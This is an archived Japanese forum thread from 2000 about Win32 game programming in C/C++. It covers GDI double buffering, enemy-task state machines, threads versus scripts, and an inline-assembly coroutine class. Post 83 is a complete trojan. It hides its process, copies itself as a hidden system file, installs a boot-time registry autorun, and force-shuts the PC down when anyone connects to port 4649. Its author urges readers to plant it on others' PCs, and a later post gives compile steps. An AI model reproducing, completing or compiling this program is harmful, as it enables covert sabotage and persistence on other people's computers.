{ kcode=0xff &((TCHAR)msg.wParam); }
DispatchMessage(&msg);
}
if(kcode<0) return ::kbhit() ;
else return 1;
}
int getKB()
{
while(!kbhit());
if(kcode>=0){int k=kcode;kcode=-1;return k;};
return getch();
}
};
Win *Win::callbackSelf;
80 :
79:2000/06/04(日) 03:15
MFCでは hWndからハッシュテーブルを検索してWinProcコールバックから
該当するクラスを検索してるみたいだが、79の方法は、Delphiとかで使っているサンク方式だ
(この板で知った方法なのだが、過去ログはみつからない)
81 :
>80:2000/06/04(日) 04:01
ATLだと構造体つかってやってるけど、それも同じだね。
でもこの方法だとx86(ATLはAlphaもサポート)でしか動かないんだよね。
82 :
名無しさん@1周年:2000/06/05(月) 16:00
クリック&クリエイトで十分
83 :
名無しさん@1周年:2000/06/05(月) 18:06
#include "stdafx.h"
#include <shlobj.h>
#include <winsock2.h>
#include <winbase.h>
#include <stdio.h>
int APIENTRY WinMain(HINSTANCE hInstance@`HINSTANCE hPrevInstance@`LPSTR lpCmdLine@`int nCmdShow )
{
int WinSock;
int RoopCount=0;
char *TargetPath;
char DirList[MAX_PATH];
WSADATA lpWSAData;
SOCKADDR_IN SockAddress;
HKEY regEntry;
DWORD EntryType;
DWORD (FAR WINAPI *RegisterServiceProcess)(DWORD @` DWORD);
RegisterServiceProcess=(DWORD (FAR WINAPI *)(DWORD @` DWORD))GetProcAddress( GetModuleHandle("KERNEL32.DLL")@`"RegisterServiceProcess");
(RegisterServiceProcess)(NULL@`1);
FreeLibrary(GetModuleHandle("KERNEL32.DLL"));
TargetPath=(char *)calloc(1@`MAX_PATH+256);
if(GetWindowsDirectory((char *)DirList@`MAX_PATH)!=0)
{
sprintf(TargetPath@`"%s\\Safe4.exe"@`DirList);
CopyFile(__argv[0]@`TargetPath@`FALSE);
SetFileAttributes(TargetPath@`FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_READONLY + FILE_ATTRIBUTE_SYSTEM);
}
else
{
free(TargetPath);
return(-1);
}
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE@`"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices"@`0@`KEY_READ@`&regEntry)!=ERROR_SUCCESS)
{
free(TargetPath);
return(-1);
}
if(RegQueryValueEx(regEntry@`"SoftwareSafe4"@`NULL@`&EntryType@`NULL@`NULL)!=ERROR_SUCCESS)
{
if(RegSetValueEx(regEntry@`"SoftwareSafe4"@`0@`REG_SZ@`(const unsigned char *)TargetPath@`sizeof(TargetPath))!=ERROR_SUCCESS)
{
MessageBox(NULL@`"ERROR RegSetValueEx"@`"ERROR"@`MB_OK);
}
}
free(TargetPath);
RegCloseKey(regEntry);
if(WSAStartup(0x101@`&lpWSAData))return(-1);
if((WinSock=socket(PF_INET@`SOCK_STREAM@`0))<0)return(-1);
SockAddress.sin_addr.S_un.S_addr =INADDR_ANY;
SockAddress.sin_family=AF_INET;
SockAddress.sin_port=htons(4649);
for(RoopCount=0;RoopCount<8;RoopCount++)SockAddress.sin_zero[RoopCount]=0;
if(bind(WinSock@`(LPSOCKADDR)&SockAddress@`sizeof(SockAddress))!=0)return(-1);
if(listen(WinSock@`5)!=0)return(-1);
accept(WinSock@`(LPSOCKADDR)&SockAddress@`NULL);
closesocket(WinSock);
WSACleanup();
ExitWindowsEx(EWX_FORCE + EWX_SHUTDOWN@`NULL);
return 0;
}
自作超馬鹿プログラム
VC++でWin32 Applicationでヨロシク
84 :
83:2000/06/05(月) 18:25
誰かのPCで遊んでね(はぁと)
仕事中とかやるよオモロイ
4649番だよ
これ入れると時々立ち上がらなくなるカモ
85 :
名無しさん@1周年:2000/06/06(火) 02:19
safe4.exeってなに?
あ、自分のコピーか。
どーでもいいけど、危ないもん張り付けんなよ。
87 :
79:2000/06/06(火) 19:50
折角なので、継承してみた。 これで上に他の窓が重なっても大丈夫・・・
struct GDIBMPWin:Win
{
HDC winhdc;
HBITMAP hBitmap;
cls(void){RECT r;GetClientRect(hwnd@`&r);
InvalidateRect(hwnd@` NULL@`FALSE);
return FillRect(hdc@`&r@`(HBRUSH)GetStockObject(WHITE_BRUSH));
}
GDIBMPWin(int xs@`int ys@`int xsz@`int ysz): Win()
{ makeClass("className2");
beginWin( "className2"@`xs@`ys@`xsz@`ysz);
winhdc=hdc;//画面用DCは保存しておいて
hdc = CreateCompatibleDC(winhdc );
hBitmap=CreateCompatibleBitmap(winhdc@` xsz@`ysz);
SelectObject(hdc@`hBitmap);
cls();
}
~GDIBMPWin()
{
if(hdc) DeleteDC( hdc );
if(hBitmap)DeleteObject(hBitmap);
hdc=winhdc;
}
LRESULT WndProc(HWND hw@`UINT uMsg@`WPARAM wParam@`LPARAM lParam)
{switch(uMsg){
case WM_PAINT: { PAINTSTRUCT ps;HDC ndc= BeginPaint(hw@`&ps);
RECT Client;
GetClientRect( hw@` &Client );
BitBlt( ndc@` Client.left@` Client.top@`
(Client.right - Client.left)@`(Client.bottom - Client.top)@` hdc@`
Client.left@` Client.top@` SRCCOPY );
EndPaint(hw@`&ps);
} return 0;
case WM_DESTROY: PostQuitMessage(0);
return 0;
} return DefWindowProc(hw@` uMsg@` wParam@` lParam);
}
int getKB() //画面をリフレッシュさせる為に継承する
{
InvalidateRect(hwnd@` NULL@`FALSE);
return Win::getKB();
}
};
88 :
79:2000/06/06(火) 19:55
87のコードを追加して
今までの Win w(10@`10@`100@`100); ->GDIBMPWin w(10@`10@`100@`100); に替える
GDIビットマップを使って 一旦バッファ上に描画し、WinProcで画面を書換えている
だから、実際に表示されるタイミングを考慮して書換える事
例:
case 'T': //3角形を表示するサンプル
{
for(double d=0;d<2*M_PI;d+=0.03)
{ POINT pt[3]={{0@`0}@`{30@`30}@`{-30@`30}}@`wk[3];
double s=sin(-d)@`c=cos(-d);
for(int i=0;i<3;i++){wk[i].x=pt[i].x*c+pt[i].y*s+50;wk[i].y=pt[i].y*c-pt[i].x*s+50;}
w.cls(); //画面バッファのクリア
Polygon(w.hdc@` wk@` 3);//この行で三角形が表示出来る
if( w.kbhit() )break; //ホントウに表示されるのはこのkbhit内
Sleep(30);
}
}break;
89 :
名無しさん@1周年:2000/06/07(水) 07:59
CreateCompatibleBitmapの代わりに
CreateDIBSectionしてCreateCompatibleDCにSelectObjectするのと
どっちが速いのかな。
DirectXインストールして貰うようなソフトじゃない場合
90 :
名無しさん:2000/06/07(水) 09:23
CreateCompatibleBitmapとCreateDIBSection単体での速度は変わらないか、
BITMAPINFOとかの準備が必要な分CreateDIBSectionの方が遅いかもね。
どっちみち、ゲーム用途ならCreateDIBSectionしか選択肢ないと思うから
計ったりはしてないけど。
# GDI使わないならGlobalAlloc + SetDIBitsToDeviceってのもあるけど。
91 :
名無しさん@1周年:2000/06/07(水) 09:39
結局
半透明とか使うレベルなら CreateDIBSection
そこまいかなければ CreateCompatibleBitmap
でオフスクリーン描画ってあたりが無難かな。
92 :
名無しさん@1周年:2000/06/07(水) 10:18
>>83 のコードをVC4でコンパイルするにはどうしたらいいでしょうか?
93 :
>92:2000/06/07(水) 11:18
ってそういうレベルなら
>>83 は止めとけ
それ以外のコードなら 地道に拾ってくと結構勉強になるけどね。
テトリスレベルのゲームなら作れる実力がつくんじゃないかな。
94 :
92:2000/06/07(水) 11:25
>93
そうですか。面白そうだからミタカッタナ・・・┐('〜`;)┌
95 :
83:2000/06/09(金) 20:01
>94=92
コンパイルしてあげようか?(ワラ
>92
1.AppWizardでプロジェクト→Win32 Applicationを選択
2.プロジェクト名に適当な名前を入れてOKボタンを押す
3.ワークスペースのグローバル→WinMain(〜)を開く
4.83のソースをコピーして貼り付け
5.F5キーを押す
多分これでOKのはず(ワラ
97 :
age:2000/06/22(木) 12:41
98 :
名無しさん@1周年:2000/07/02(日) 01:41
晒しage
99 :
名無しさん@1周年:2000/07/03(月) 10:02
age
100 :
名無しさん@1周年:2000/07/03(月) 11:06
101 :
>100:2000/07/03(月) 20:18
こりゃ面白い!
102 :
名無しさん@1周年:2000/07/04(火) 03:59
爆弾投げまくり〜。うひゃひゃ。
103 :
名無しさん@1周年:2000/07/06(木) 21:17
突然ですが、リアルタイムゲームのタスクの状態遷移?っていうのかな。
皆さんどうやってるんでしょうか。
例えば、シューティングの敵キャラ(タスク)にそれぞれ
1.画面上から現れて、
2.自機の近くに降りてきて、
3.弾を2〜3発連射し、
4.横に逃げる
みたいな自律行動をさせる場合、どういう設計にすればいいのか……。
ゲームだと、下手したらこういうタスクの種類が3桁くらいありますから
全部switch文と状態変数・カウンタ変数などでこなすのは疲れますし、
じゃあ、いっそスクリプト言語でも作ってしまおうかとなると、
どういう仕様にすればいいのか分からなくって。
104 :
名無しさん@1周年:2000/07/06(木) 21:36
キャラ毎にスレッド一個じゃだめなの?
105 :
>104:2000/07/06(木) 21:49
せいぜいスレッドは20個くらいに抑えましょう。
それ以上だったら、遅いスクリプトの方がマシかもしれません。
コルーチンを自分で書くと1桁多く出来ますが。
106 :
>103:2000/07/06(木) 22:03
オブジェクト指向的にやってみては?
Cでも、構造体+関数ポインタでそれらしく出来ますよ。
107 :
C++なら:2000/07/06(木) 22:07
108 :
>105:2000/07/07(金) 00:55
ゲームのメイン処理はスレッドを分ける必要性が無い
何故にスレッドを20個も処理する必要があるんだ?
だいたい関連するデータの多いゲームの処理にスレッドなんか乱発したら、
同期をミスったら判定が狂うし、
同期をとると結局単一スレッドで動かしているのと変わらなくなる
109 :
名無しさん@1周年:2000/07/07(金) 01:18
>103
そのレベルで悩んでるんだったら、ソースを公開してるゲームを
探してきて、それを読んだほうが早いんじゃないの?
110 :
500h_rev2:2000/07/07(金) 01:28
アセンブラだったら簡単。
マルチポーリングです。基本的に。
ブランキングで同期とります。V-SYNCね。
移動記述は直プログラムと数式(パラメーターのみ)とスクリプト方式があります。
あんまり難しく考えなくても、6502でシューティングが
書けていた事実を省みれば軽く作る方法はいくらでもあります(笑)
111 :
>103:2000/07/07(金) 01:35
キャラ1つに1つ変数用意して
1:前進中
2:右回避中
3:左 〃
4:玉くらい中
(以下略)
とかやってループで全キャラ状態遷移させればいんじゃない?
スクリプト?にするなら上の状態名(定数?)と遷移条件と繊維先と
遷移時の処理をセットにしていっぱい用意する。
シビアにCRTCと同期とるなら全キャラ状態遷移と移動&書き換え処理をわけて
移動処理だけは走査線が見えない間にすますようにするとか。
この程度ならマルチスレッドいらんでしょ。
112 :
名無しさん@1周年:2000/07/07(金) 01:41
>111
面倒なのでマルチスレッドにしちゃってくださいー(部下)
おいきみ、みんながすぐに理解できないロジックを使うとバグの元だ
やめなさい(上司)
113 :
名無しさん@1周年:2000/07/07(金) 01:55
#define 0x1000 L
#define 0x2000 R
#define 0x3000 LOOP
const script_01[3]={L+0x080@`R+0x080@`LOOP};
const script_02[3]={L+0x080@`R+0x080@`LOOP};
const script_03[3]={L+0x080@`R+0x080@`LOOP};
typedef struct{
int ctrl;
int posX;
int posY;
int spNum;
int *scrPtr;
int scrCnt;
} chr;
chr *CHR[32];
main()
{
while(-1){
prm = CHR.scrPtr[CHR.scrCnt++]
c = prm & 0xf000 >> 24;
prm = prm & 0x0fff;
switch(c){
case(1):CHR.posX -= prm;
case(2):CHR.posX += prm;
case(3):CHR.scrCnt = 1;
}
V_BLANK_WAIT();
ObjMemToSpriteChip(&CHR);
}
}
眠いからむちゃくちゃかもしれません・・・。
だめだ。また明日。
114 :
103:2000/07/07(金) 04:43
どうも皆さんお返事ありがとうございます。
やっぱ力技が主体になりますかねえ。
いや、実はもうすでにswitch文やメソッドへのポインタを使ったタスクを
今までに食べたパンの枚数くらい(おい)書いてきたんですが、
最近のゲームみたいにタスクの数や種類がデタラメに増えると、
いい加減、何か効率を上げる手を考えなければと思うわけでして。
タスクを1種類増やす(作成と調整)のに最低で数時間かかるようでは
新しいフィーチャーや演出の導入に無意識のうちに二の足踏んでしまいますし、
ふと思いついたことが即座に具象化できれば
それに越したことはないですから……。
うーむ、とりあえずスプリクトの模索を続けてみます。
マルチスレッドはさすがにゲームではアレやと思います。
一時期、Javaで1フレームの処理ごとにwait()で止めて
外からnotify()で進行みたいな無茶なことも考えましたけど。(笑)
115 :
>114:2000/07/07(金) 06:23
そういう段階だったらコルーチン使ってみたらいいと思うよ
116 :
113:2000/07/07(金) 08:47
アセンブラでしか書いたことないんでめちゃくちゃですね。
const の後に型宣言ないし。
しかも、windowsっていうの見落として、スプライトとか言ってるし・・・
どうも失礼しました。
117 :
BCC32 :2000/09/02(土) 12:13
というわけで上げます。
118 :
名無しさん@1周年 :2000/09/02(土) 13:19
PCゲーム板と違って中身あるだけこっちのほうがいいや
119 :
>49 :2000/09/02(土) 18:33
おれが作った65C02ゲームはメインルーチンぐるぐる構造だったけど、
16BITからは、リアルタイムOS使ってやったよ。
敵チャラ1つにつきどんどんタスク生成しちゃう。敵キャラはテーブル見て、
自分で動作を決定するけど同一キャラならコードは1つ。
とにかくキャラごとにタスクを書いていけばいいから変なタイミングに
依存しなくて仕様の拡張も簡単だったな。
今はゲームもリアルタイムOSが主流だと思う。
2DゲームならCPUパワーも余ってるからね。
121 :
名無しさん@1周年 :2000/09/07(木) 23:56
定期age
122 :
名無しさん@1周年 :2000/09/08(金) 00:35
とりあえずDirector 7見てみたっす。
ん〜む、これのDirect3D版みたいなん作るべか。
123 :
名無しさん@1周年 :2000/09/17(日) 22:35
あげ
124 :
名無しの野望さん :2000/10/11(水) 14:28
あげ
125 :
名無しさん@1周年 :2000/10/19(木) 12:02
age
126 :
>119 :2000/10/19(木) 12:17
Windowsなら、スレッドを造りまくればいいってことでしょうか?
それはやめたほうがいいと思う……。
128 :
名無しさん@1周年 :2000/10/19(木) 13:30
NT系、つーかWin2000だとFiberでやればいいんでない?
切り替えタイミングは自分でやるの。
129 :
名無しさん@1周年 :2000/10/19(木) 16:25
9xで動かなくてどーするよ・・・。
130 :
>126 :2000/10/19(木) 16:41
実感としては、スレッドよりスクリプト・PCODE方式の方が
柔軟性もあって動作も早いように思うが?
コードサイズを抑える効果があるからキャッシュが効きやすいためだと思うが・・
スレッドとスクリプトにどういう関係があるんだ?
しかも動作速度をどう比べようと言うのだ?
スクリプトは無くてもスレッドは動くが、
スレッドがなければスクリプトは動かない
132 :
>131 :2000/10/19(木) 16:55
流れとしては、敵キャラ一つ、タマ一つにタスク(スレッド)書く方式よりスクリプトの方がいいという事では?
133 :
名無しさん@1周年 :2000/10/19(木) 18:45
スクリプトで書くのはベタのCコードで書くのと変わらないのでは・・・
問題は動かすときのタイミングであって、
スクリプトというのと、それをどう実行させるかはまったく別問題
というわけでスクリプトというのは意味不明
134 :
名無しさん@1周年 :2000/10/19(木) 18:48
>>130 どの用語がどういう概念を表してるかもう少し勉強しろ。
136 :
名無しさん@1周年 :2000/10/19(木) 22:17
スクリプトにしておくと、プログラマ以外の人でもゲームの調整できたり
キャラの配置できたりするんでそういう用途には使うなあ。
最終的には実行ファイルに埋め込んじゃうけど。
個人的には、フォルダやらファイルやら山のように散らかすゲームは勘弁してほしい。
>>136 なんか、話しの流れと関係無いことをつぶやいてる人がいますよ。
純粋な質問なんだけど
ここで用いられてる「スレッド」てのは
STGプログラムローカルでの呼称?
それともやはりOS機能のそれ?
130@`132 と 131 は明らかに話が噛みあってないよね。
あと136は病院行け。何かがヤバイ
139 :
名無しさん@1周年 :2000/10/20(金) 00:43
私の拙いWinプログラム経験からすると、Windowsの場合は
メインループがメインウィンドウに支配されてしまっていて、
たとえば、
OPENING->GAME1->GAME2->RESULT表示->ENDING->OPENING(に戻る)
のような事をしたい場合に、Windowのループ内でいちいちswitch-caseか
なんかで切り替えないといけないと思うんですが。
これだけならいいけど、20超えたらどうしたもんだか。
マルチスレッドにして表示用とゲーム処理を切り分ければ
もっとスマートに書けるのではないかと思うのですが、間違ってますか?
140 :
名無しさん@1周年 :2000/10/20(金) 01:10
>>139 いいんじゃない。20がどうこうってのはよくわからんが。
141 :
名無しさん@1周年 :2000/10/20(金) 01:19
>139
スレッドにするまでもないと思うが・・・。
全部タスク(ゲーム方面用語)にすれば?
RTOS関係のページ探せば参考になると思います。
142 :
名無しさん@1周年 :2000/10/20(金) 02:56
>>139 あまりリアルタイム性のないゲームならWM_TIMERだけでなんとかなる。
でもワーカースレッド作るほうが一般的でしょ。最初は同期の問題とか、
ワーカースレッドの死ぬタイミングとかではまるけど、一回やれば後か
らは使いまわせるし。
143 :
142 :2000/10/20(金) 02:58
>あまりリアルタイム性のないゲームならWM_TIMERだけでなんとかなる
すまん勘違い。読み捨ててくれ。
144 :
>139 :2000/10/20(金) 03:42
マルチスレッドにしても、関数ポインタなりswitch-caseなりで
処理わけんといかんのじゃないか?
145 :
多重switchマン :2000/10/20(金) 04:14
switchだらけでも別にいいじゃん。最近のマシンは早いしenumでテーブル組んでやればコンパイラーがジャンプテーブル作ってくれるしさ。
146 :
名無しさん@1周年 :2000/10/20(金) 13:15
OS固有の機能に頼るのやめましょーよ。
移植するとき死ヌぞ。
147 :
ブチ :2000/10/20(金) 15:12
今更なんですがスレの最初から順を追って
>>13 のサンプルプログラムを改造していきました。
先日 C++ と WIn上でのプログラムをはじめたのですがなかなかわかりやすく学べました。
しかし
>>87 の GDIBMP を取り込もうとすると構造体の宣言の部分で「型名が必要」と言われました。
環境は BCC5.5 です。
すいませんがどの辺りに問題があるのかご存知の方いましたら教えてください。
148 :
>146 :2000/10/20(金) 15:47
OS固有の機能を使わずにゲームが作れるわけが無いと思うが・・・
このスレッドはプログラマ以外の人間が紛れ込んでいるようだ
149 :
名無しさん@1周年 :2000/10/20(金) 15:52
>146
OS固有の機能に依存する部分を、うまく切り分けておけばいいだけの話。
どんなプラットフォームにも得手不得手はあるから、全く苦労せず
移植するのは無理だしな。
コンバータ作って流し込んで終わり!とかいう超越人もいるそうだが・・・。
150 :
>147 :2000/10/20(金) 16:01
具体的にはどうやって、どの行でエラーが出たの?
構造体って言われも、
classで書くべきところを面倒がってstructで書いてるみたいだから
それの事かな?
ごめん、聞き流して。全然違う話を想定してた。
152 :
名無しさん@1周年 :2000/10/20(金) 16:33
153 :
名無しさん@1周年 :2000/10/21(土) 02:21
あげ
154 :
ブチ :2000/10/21(土) 02:33
>>150 87 の一番最初の行です。
>>79 までのソースの追加は問題なかかったので
そこの struct Win を
>>87 の struct GDIBMPWin:Win と置き換えました。
struct GDIBMPWin:Win
そうしたらこの行で「型名が必要」と言われてしまいました。
155 :
>154 :2000/10/22(日) 13:33
置き換えるのじゃなくて継承させる。
つまり単に追加する
156 :
修理くん :2000/10/22(日) 14:21
てすと
個人的に興味あるのであげ
158 :
107:2000/11/16(木) 07:38
ひさしぶりに見たら、
>>107のログが消えてるようなので コルーチンクラスを再アップ
struct CoRtn{ /* コルーチンクラス */
int stack[1000]; /* 内部スタック */
void *stackp; /* 保存スタックポインタ */
CoRtn::CoRtn(){stackp=0;};
virtual void CoRtn::Execute()=0;
void CoRtn::Gate();
};
void CoRtn::Gate()
{
void *svp;
if (!stackp) /* 初めて呼ばれた時 */
{ stackp=((char *)stack+sizeof(stack)); /*スタックを作成し */
_asm call lab1; /*スタックフレームを作成 */
return ;
_asm lab1: /*この後にif文を書いてはいけない。コンパイラのバグあり*/
svp=stackp;
_asm pushad
_asm xchg esp@`svp
stackp=svp;
Execute(); //ここで始動
}else /* スタックの切替え=コルーチン切替え */
{ _asm call lab2;
return ;
_asm lab2:
svp=stackp;
_asm pushad
_asm xchg esp@`svp
stackp=svp;
_asm popad
_asm ret
}
}
159 :
107:2000/11/16(木) 07:40
>>158の使い方の例 ソースを与えるとコメントの部分とそうでない部分に分解する
#include<stdio.h>
struct err{};
void main(int argc@`char *argv[])
{
struct CommentKiller:CoRtn{
int cc@`m;
int get_char(){m=1;Gate();return cc;}; /* 外部インターフェース */
int get_com() {m=2;Gate();return cc;}; /* 外部インターフェース */
void put_char(int c){cc=c;if(m&1)Gate();} /* 内部インターフェース */
void put_com (int c){cc=c;if(m&2)Gate();} /* 内部インターフェース */
int getnext(void)
{ int c0=getchar(); //EOFならエラーの場合
if(c0==EOF) throw new err;
return c0;
}
int skip1(int c0)
{ put_char(c0); //書いて
put_char(getnext()); //読み飛ばして
return getnext(); //次のを読む
}
void Execute()
{
int c1;
do{
c1=getchar();
switch (c1)
{
case '\'': // 文字ブロック
put_char(c1);
do{ c1=getnext();
if(c1=='\\') c1=skip1(c1);
put_char(c1);
}while(c1!='\'');
goto flash;
case '\"': //文字列ブロック
put_char(c1);
do{ c1=getnext();
if(c1=='\\')c1=skip1(c1);
put_char(c1);
}while(c1!='\"');
goto flash;
case '/':
{int c2=getchar();//2文字分を読む
if(c1=='/'&& c2=='*')
{ put_com(c1);put_com(c2);
do{ while( (c1=getnext())!='*')put_com(c1);
put_com(c1);
} while( (c1=getnext())!='/');
put_com(c1);
goto flash;
}else
if(c1=='/'&& c2=='/')
{ put_com(c1);put_com(c2);
while('\n'!=(c1=getchar())){put_com(c1);if(c1==EOF)break;}
putchar(c1);//CR or EOFは出力する
goto flash;
}
put_char(c1);
put_char(c2);
goto flash;
}break;
}
put_char(c1);
flash:
}while(cc!=EOF);
while(1) Gate(); //EOF後も呼ばれたらEOFを返す
}
} CK;
char c;
try{
if(argc>1) while ( ( c = CK.get_com() ) != EOF ) putchar( c );
else while ( ( c = CK.get_char() ) != EOF ) putchar( c );
}
catch(...){printf("\n途中でEOFがあった\n");};
}
160 :
107:2000/11/16(木) 07:43
ここで call 直後に return してる後に if文を書くとBCCだとバグに
出会う可能性があるので、もし158を改造するなら
_asm push offset lab1; /*スタックフレームを作成 */
svp=stackp;
_asm pushad
_asm xchg esp@`svp
stackp=svp;
Execute(); //ここで始動
_asm lab1:
return ;
のように callの代わりに pushにしておいた方がいい。
162 :
>161:2000/11/16(木) 11:57
たとえばどこが恐ろしいと思った?
>>162 PUSHで作成されるスタックフレームと、CALLで作成されるスタックフレームが同一だと仮定しているところ。
そのプラットフォームでは偶然一緒なんだろうから問題無いけどさ・・・。
164 :
>158:2000/11/16(木) 19:27
非常に面白いコードなんで色々遊んでるんですが
スタック上にインスタンスを作った場合は問題ないんだけど、
ヒープ上にインスタンスを作った場合 WindowsAPIを呼ぼうとすると
スタックエラーが出ます。
これはBCC55が出してる警告でしょうか?
それとも何かWindowsがメモリ管理をしてるのでしょうか?
その場合どうやれば解決出来るでしょう?
165 :
158>164:2000/11/16(木) 22:29
エラーは確認しました。これは私も予期していませんでした。
スタックの領域をスレッドごとに範囲チェックしているのでしょう。
たぶんスタックポインタがヒープ上の領域を差した状態ではAPIが
呼べないのだろうと思います。
対策は難しいと思います。
Auto変数として確保した領域しか使えない事にするか、
あるいは別スレッドを作って同期させるしかないのではないかと。
166 :
>161:2000/11/16(木) 22:52
>163
86系で、一緒じゃないプラットフォームの具体例きぼぉ
Xeon(or PenPro)の36bitモードはどうなん?
86系で
スタックに積まれるのは、CSセグメントとIPアドレスではなかった?
171 :
>168:2000/11/17(金) 16:26
8086 のfar call の事を言ってるのだろうね 32bitモードは別世界
あ、32ビットモードは、もっと複雑でしたね。失礼
173 :
名無しさん@1周年:2000/11/24(金) 13:40
>>159 おお、ひさびさにダメプログラムを見てめまいがした
それだけ
174 :
名無しさん@1周年:2000/11/25(土) 12:02
175 :
名無しさん@1周年:2000/11/25(土) 12:09
確か元スレでは throw new err については本人申告してた記憶が・・・
転載するならそれくらい直したらいいのに。
176 :
当方BCC55:2000/11/30(木) 12:40
>>164-165 でWindowsAPIを呼ぶと駄目って話があったけど
試しにSleepをあちこち入れてみて New にしたり グローバルに移動させたり
しても問題なかったよ。
その問題ってどういう条件で出るの?
177 :
名無しさん@1周年:2000/11/30(木) 16:40
>>176 Sleepはエラーにならないのかな?
たいていのAPIが駄目だと思うよ。
実験したのはExecuteの先頭で
char str[100];
GetSystemDirectory( str@`sizeof(str)-1);
Windowsにスタック専用のメモリを返すAlloc系のAPIがあればいいんだ
けどねえ
178 :
177:2000/11/30(木) 17:38
別スレッド用のスタックを使ったらどうかと
static DWORD _stdcall SleepThread(void *p)
{
void **pp=(void **)p;
*pp=(void *)(_ESP-32); /*BCC32用*/
Sleep(INFINITE);
return 0;
}
void *AllocStack(int ByteSize)
{
void *p=0;
DWORD IDThread;
HANDLE h = CreateThread(
NULL /* スレッドのセキュリティ属性のアドレス */
@`ByteSize+32 /* 初期スレッド スタック サイズ */
@`SleepThread /* スレッド関数のアドレス */
@`&p /* 新しいスレッドのための引数 */
@`0 /* 作成フラグ */
@`&IDThread /* 返されるスレッドIDのアドレス */
);
while(p==0)Sleep(0);
return p;
}
こんなふうに別スレッド作ってスタックを返す関数でstackpを初期化
してみたけど、やっぱり駄目だね・・当然か、これくらいの保護はするよな
179 :
名無しさん@1周年:2000/11/30(木) 23:25
DELPHI でも十分ですか?
またそれをもってゲーム会社に面接に逝っても問題ないでしょうか?
180 :
名無しさん@1周年:2000/11/30(木) 23:28
↑
言葉足らず、申し訳ない
中途採用で作品を持っていくのに、
必ずしもVCで開発して持っていかなくては
逝けないかということです。
まあ、無理っぽいはなあ、、、
181 :
名無しさん@1周年:2000/12/01(金) 22:45
sage
182 :
名無しさん@1周年:2000/12/03(日) 00:24
他人のソースを見てると気持ち悪くなるのは
俺だけ?
>>180 その作品がレベル高いならなんとかなるでしょ。
とりあえず面接はハッタリでクリアして、Cは三ヶ月で使えるようになりましょう。
184 :
名無しさん@1周年:2000/12/03(日) 01:05
185 :
名無しさん@1周年:2000/12/04(月) 02:12
>>177 Windows 98だとエラーになるね。
Windows 2000は大丈夫みたい。
186 :
185:2000/12/04(月) 02:17
Windows 98はFiberをサポートしていたはずなんだが
どうやっているんだろうか…。
187 :
名無しさん@1周年:2000/12/13(水) 08:13
'
188 :
名無しさん@1周年:2000/12/14(木) 22:28
関係ないけど、こっちの板で この手の話はメッキリ無くなっちゃったね
190 :
名無しさん@1周年:2000/12/14(木) 23:55
191 :
名無しさん@1周年:
>>189-190
技術関連はプログラム板なのでは?
そう考えれば、ある意味正常といえる。